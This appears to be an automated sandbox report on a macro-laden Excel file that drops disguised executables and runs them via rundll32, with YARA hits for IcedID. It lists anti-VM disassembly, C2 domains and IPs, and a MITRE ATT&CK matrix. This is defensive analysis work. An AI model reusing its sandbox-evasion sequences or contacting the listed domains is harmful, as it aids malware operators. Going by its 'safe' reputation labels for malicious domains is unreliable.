Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/media/image1.png
Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/media/image2.png
Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: document-1251000362.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd3	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd3			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd3	Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\ksjvoefv.skd3			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00231B94		3_2_00231B94
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00141B94		6_2_00141B94

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000231C52 second address: 0000000000231C73 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec esp 0x0000000a mov eax, eax 0x0000000c xor ecx, ecx 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 mov dword ptr [ebp-10h], eax 0x00000018 mov dword ptr [ebp-0Ch], ebx 0x0000001b mov dword ptr [ebp-08h], ecx 0x0000001e mov dword ptr [ebp-04h], edx 0x00000021 rdtsc
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000231C73 second address: 0000000000231C88 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec ecx 0x0000000a sub eax, eax 0x0000000c dec eax 0x0000000d add edi, eax 0x0000000f call dword ptr [00002428h] 0x00000015 jmp 00007F47E0EA1178h 0x00000017 jmp dword ptr [000925C2h] 0x0000001d dec eax 0x0000001e sub esp, 28h 0x00000021 dec eax 0x00000022 lea ecx, dword ptr [esp+30h] 0x00000026 call dword ptr [00046D21h] 0x0000002c dec eax 0x0000002d mov dword ptr [esp+08h], ecx 0x00000031 dec eax 0x00000032 sub esp, 18h 0x00000035 dec eax 0x00000036 test ecx, ecx 0x00000038 je 00007F47E0EDBE5Dh 0x0000003e dec esp 0x00000040 mov eax, dword ptr [00000030h] 0x00000047 xor eax, eax 0x00000049 dec eax 0x0000004a mov dword ptr [esp+08h], eax 0x0000004e dec ecx 0x0000004f mov edx, dword ptr [eax+000014A0h] 0x00000055 dec eax 0x00000056 mov dword ptr [esp+08h], edx 0x0000005a dec eax 0x0000005b test edx, edx 0x0000005d jne 00007F47E0EBA66Ch 0x00000063 mov eax, C00000BBh 0x00000068 mov dword ptr [esp], eax 0x0000006b jmp 00007F47E0EA1172h 0x0000006d jmp 00007F47E0EA1172h 0x0000006f dec eax 0x00000070 mov dword ptr [ecx], edx 0x00000072 dec eax 0x00000073 add esp, 18h 0x00000076 ret 0x00000077 test eax, eax 0x00000079 jns 00007F47E0EC10DFh 0x0000007f call dword ptr [00046D5Bh] 0x00000085 dec esp 0x00000086 mov edx, ecx 0x00000088 mov eax, 00000043h
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000231C88 second address: 0000000000231C95 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 nop 0x00000007 dec eax 0x00000008 or eax, edx 0x0000000a dec eax 0x0000000b mov ecx, eax 0x0000000d rdtsc
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000231C95 second address: 0000000000231C52 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a sub eax, ecx 0x0000000c dec esp 0x0000000d add esi, eax 0x0000000f dec ecx 0x00000010 sub edi, 01h 0x00000013 jne 00007F47E0EA1114h 0x00000015 call dword ptr [0000245Eh] 0x0000001b jmp 00007F47E0EA1178h 0x0000001d jmp dword ptr [000925C2h] 0x00000023 dec eax 0x00000024 sub esp, 28h 0x00000027 dec eax 0x00000028 lea ecx, dword ptr [esp+30h] 0x0000002c call dword ptr [00046D21h] 0x00000032 dec eax 0x00000033 mov dword ptr [esp+08h], ecx 0x00000037 dec eax 0x00000038 sub esp, 18h 0x0000003b dec eax 0x0000003c test ecx, ecx 0x0000003e je 00007F47E0EDBE5Dh 0x00000044 dec esp 0x00000046 mov eax, dword ptr [00000030h] 0x0000004d xor eax, eax 0x0000004f dec eax 0x00000050 mov dword ptr [esp+08h], eax 0x00000054 dec ecx 0x00000055 mov edx, dword ptr [eax+000014A0h] 0x0000005b dec eax 0x0000005c mov dword ptr [esp+08h], edx 0x00000060 dec eax 0x00000061 test edx, edx 0x00000063 jne 00007F47E0EBA66Ch 0x00000069 mov eax, C00000BBh 0x0000006e mov dword ptr [esp], eax 0x00000071 jmp 00007F47E0EA1172h 0x00000073 jmp 00007F47E0EA1172h 0x00000075 dec eax 0x00000076 mov dword ptr [ecx], edx 0x00000078 dec eax 0x00000079 add esp, 18h 0x0000007c ret 0x0000007d test eax, eax 0x0000007f jns 00007F47E0EC10DFh 0x00000085 call dword ptr [00046D5Bh] 0x0000008b dec esp 0x0000008c mov edx, ecx 0x0000008e mov eax, 00000043h
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000141C52 second address: 0000000000141C73 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec esp 0x0000000a mov eax, eax 0x0000000c xor ecx, ecx 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 mov dword ptr [ebp-10h], eax 0x00000018 mov dword ptr [ebp-0Ch], ebx 0x0000001b mov dword ptr [ebp-08h], ecx 0x0000001e mov dword ptr [ebp-04h], edx 0x00000021 rdtsc
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000141C73 second address: 0000000000141C88 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec ecx 0x0000000a sub eax, eax 0x0000000c dec eax 0x0000000d add edi, eax 0x0000000f call dword ptr [00002428h] 0x00000015 jmp 00007F47E0EA1178h 0x00000017 jmp dword ptr [000925C2h] 0x0000001d dec eax 0x0000001e sub esp, 28h 0x00000021 dec eax 0x00000022 lea ecx, dword ptr [esp+30h] 0x00000026 call dword ptr [00046D21h] 0x0000002c dec eax 0x0000002d mov dword ptr [esp+08h], ecx 0x00000031 dec eax 0x00000032 sub esp, 18h 0x00000035 dec eax 0x00000036 test ecx, ecx 0x00000038 je 00007F47E0EDBE5Dh 0x0000003e dec esp 0x00000040 mov eax, dword ptr [00000030h] 0x00000047 xor eax, eax 0x00000049 dec eax 0x0000004a mov dword ptr [esp+08h], eax 0x0000004e dec ecx 0x0000004f mov edx, dword ptr [eax+000014A0h] 0x00000055 dec eax 0x00000056 mov dword ptr [esp+08h], edx 0x0000005a dec eax 0x0000005b test edx, edx 0x0000005d jne 00007F47E0EBA66Ch 0x00000063 mov eax, C00000BBh 0x00000068 mov dword ptr [esp], eax 0x0000006b jmp 00007F47E0EA1172h 0x0000006d jmp 00007F47E0EA1172h 0x0000006f dec eax 0x00000070 mov dword ptr [ecx], edx 0x00000072 dec eax 0x00000073 add esp, 18h 0x00000076 ret 0x00000077 test eax, eax 0x00000079 jns 00007F47E0EC10DFh 0x0000007f call dword ptr [00046D5Bh] 0x00000085 dec esp 0x00000086 mov edx, ecx 0x00000088 mov eax, 00000043h
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000141C88 second address: 0000000000141C95 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 nop 0x00000007 dec eax 0x00000008 or eax, edx 0x0000000a dec eax 0x0000000b mov ecx, eax 0x0000000d rdtsc
Source: C:\Windows\System32\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000141C95 second address: 0000000000141C52 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a sub eax, ecx 0x0000000c dec esp 0x0000000d add esi, eax 0x0000000f dec ecx 0x00000010 sub edi, 01h 0x00000013 jne 00007F47E0EA1114h 0x00000015 call dword ptr [0000245Eh] 0x0000001b jmp 00007F47E0EA1178h 0x0000001d jmp dword ptr [000925C2h] 0x00000023 dec eax 0x00000024 sub esp, 28h 0x00000027 dec eax 0x00000028 lea ecx, dword ptr [esp+30h] 0x0000002c call dword ptr [00046D21h] 0x00000032 dec eax 0x00000033 mov dword ptr [esp+08h], ecx 0x00000037 dec eax 0x00000038 sub esp, 18h 0x0000003b dec eax 0x0000003c test ecx, ecx 0x0000003e je 00007F47E0EDBE5Dh 0x00000044 dec esp 0x00000046 mov eax, dword ptr [00000030h] 0x0000004d xor eax, eax 0x0000004f dec eax 0x00000050 mov dword ptr [esp+08h], eax 0x00000054 dec ecx 0x00000055 mov edx, dword ptr [eax+000014A0h] 0x0000005b dec eax 0x0000005c mov dword ptr [esp+08h], edx 0x00000060 dec eax 0x00000061 test edx, edx 0x00000063 jne 00007F47E0EBA66Ch 0x00000069 mov eax, C00000BBh 0x0000006e mov dword ptr [esp], eax 0x00000071 jmp 00007F47E0EA1172h 0x00000073 jmp 00007F47E0EA1172h 0x00000075 dec eax 0x00000076 mov dword ptr [ecx], edx 0x00000078 dec eax 0x00000079 add esp, 18h 0x0000007c ret 0x0000007d test eax, eax 0x0000007f jns 00007F47E0EC10DFh 0x00000085 call dword ptr [00046D5Bh] 0x0000008b dec esp 0x0000008c mov edx, ecx 0x0000008e mov eax, 00000043h

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00231B94 rdtsc

3_2_00231B94

Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,		3_2_00231F94
Source: C:\Windows\System32\rundll32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,		6_2_00141F94

Source: C:\Windows\System32\rundll32.exe

Window / User API: threadDelayed 666

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\3003[1].gif			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\3003[1].gif			Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: </figure> <h3 id="VMware_Cloud_on_AWS" class="lb-tiny-align-center lb-txt-none lb-txt-white lb-h3 lb-title"> VMware Cloud on AWS</h3>
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: <a style="padding-left:30px; padding-right:30px;" href="/vmware/?hp=tile&tile=hybridsol" target="_blank" rel="noopener">
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: <img src="//d1.awsstatic.com/webteam/homepage/Hybrid%20Solutions/VMWareCloud_Icon.55cb0bcef2c74b55acdb7155e3524e4b5436ec6e.png" alt="VMWareCloud_Icon" title="VMWareCloud_Icon" class="cq-dd-image" />
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: Migrate and extend VMware environments to the AWS Cloud
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: <a href="/vmware/?hp=tile&so-exp=below"> VMware Cloud on AWS<span>Build a hybrid cloud without custom hardware</span> </a>
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: <a style="padding-left:20px; padding-right:45px;" href="/vmware/?hp=tile&tile=hybridsol" target="_blank" rel="noopener">
Source: rundll32.exe, 00000003.00000003.2357744381.0000000002F87000.00000004.00000001.sdmp	Binary or memory string: <a href="/rds/vmware/?hp=tile&so-exp=below"> Amazon RDS on VMware<span>Automate on-premises database management</span> </a>

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00231B94 rdtsc

3_2_00231B94

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\rundll32.exe	Network Connect: 143.204.3.74 187	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Domain query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	Domain query: aws.amazon.com
Source: C:\Windows\System32\rundll32.exe	Domain query: usaaforced.fun

Source: rundll32.exe, 00000003.00000002.2497854303.0000000000890000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000003.00000002.2497854303.0000000000890000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.2497854303.0000000000890000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00231D48 LookupAccountNameW,

3_2_00231D48

Stealing of Sensitive Information:

Yara detected IcedID

Show sources

Source: Yara match	File source: 00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2796, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2540, type: MEMORY

Remote Access Functionality:

Yara detected IcedID

Show sources

Source: Yara match	File source: 00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2796, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2540, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting2	Path Interception	Process Injection12	Masquerading121	OS Credential Dumping	Security Software Discovery211	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution33	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting2	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Rundll321	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Network Configuration Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	File and Directory Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Information Discovery22	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
document-1251000362.xlsm	16%	Metadefender		Browse
document-1251000362.xlsm	7%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label
usaaforced.fun	0%	URL Reputation	safe
usaaforced.fun	0%	URL Reputation	safe
usaaforced.fun	0%	URL Reputation	safe
tvorartificialnature.xyz	0%	URL Reputation	safe
tvorartificialnature.xyz	0%	URL Reputation	safe
tvorartificialnature.xyz	0%	URL Reputation	safe

URLs

Source	Detection	Scanner	Label
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
http://ocsp.rootg2.amazontrust.com08	0%	URL Reputation	safe
http://ocsp.rootg2.amazontrust.com08	0%	URL Reputation	safe
http://ocsp.rootg2.amazontrust.com08	0%	URL Reputation	safe
http://crl.sca1b.amazontrust.com/sca1b.crl0	0%	URL Reputation	safe
http://crl.sca1b.amazontrust.com/sca1b.crl0	0%	URL Reputation	safe
http://crl.sca1b.amazontrust.com/sca1b.crl0	0%	URL Reputation	safe
http://tvorartificialnature.xyz/	0%	URL Reputation	safe
http://tvorartificialnature.xyz/	0%	URL Reputation	safe
http://tvorartificialnature.xyz/	0%	URL Reputation	safe
http://tvorartificialnature.xyz/vorarti	0%	Avira URL Cloud	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://usaaforced.fun/j	0%	Avira URL Cloud	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
https://a0.aws	0%	Avira URL Cloud	safe
http://o.ss2.us/0	0%	URL Reputation	safe
http://o.ss2.us/0	0%	URL Reputation	safe
http://o.ss2.us/0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crt.rootg2.amazontrust.com/rootg2.cer0=	0%	URL Reputation	safe
http://crt.rootg2.amazontrust.com/rootg2.cer0=	0%	URL Reputation	safe
http://crt.rootg2.amazontrust.com/rootg2.cer0=	0%	URL Reputation	safe
http://crt.comod	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://s.ss2.us/r.crl0	0%	URL Reputation	safe
http://s.ss2.us/r.crl0	0%	URL Reputation	safe
http://s.ss2.us/r.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
metaflip.io	192.185.48.186	true	false		unknown
tajushariya.com	199.79.62.99	true	false		unknown
columbia.aula-web.net	50.87.146.86	true	false		unknown
dr49lng3n1n2s.cloudfront.net	143.204.3.74	true	false		high
partsapp.com.br	192.185.214.87	true	false		unknown
agenbolatermurah.com	unknown	unknown	true		unknown
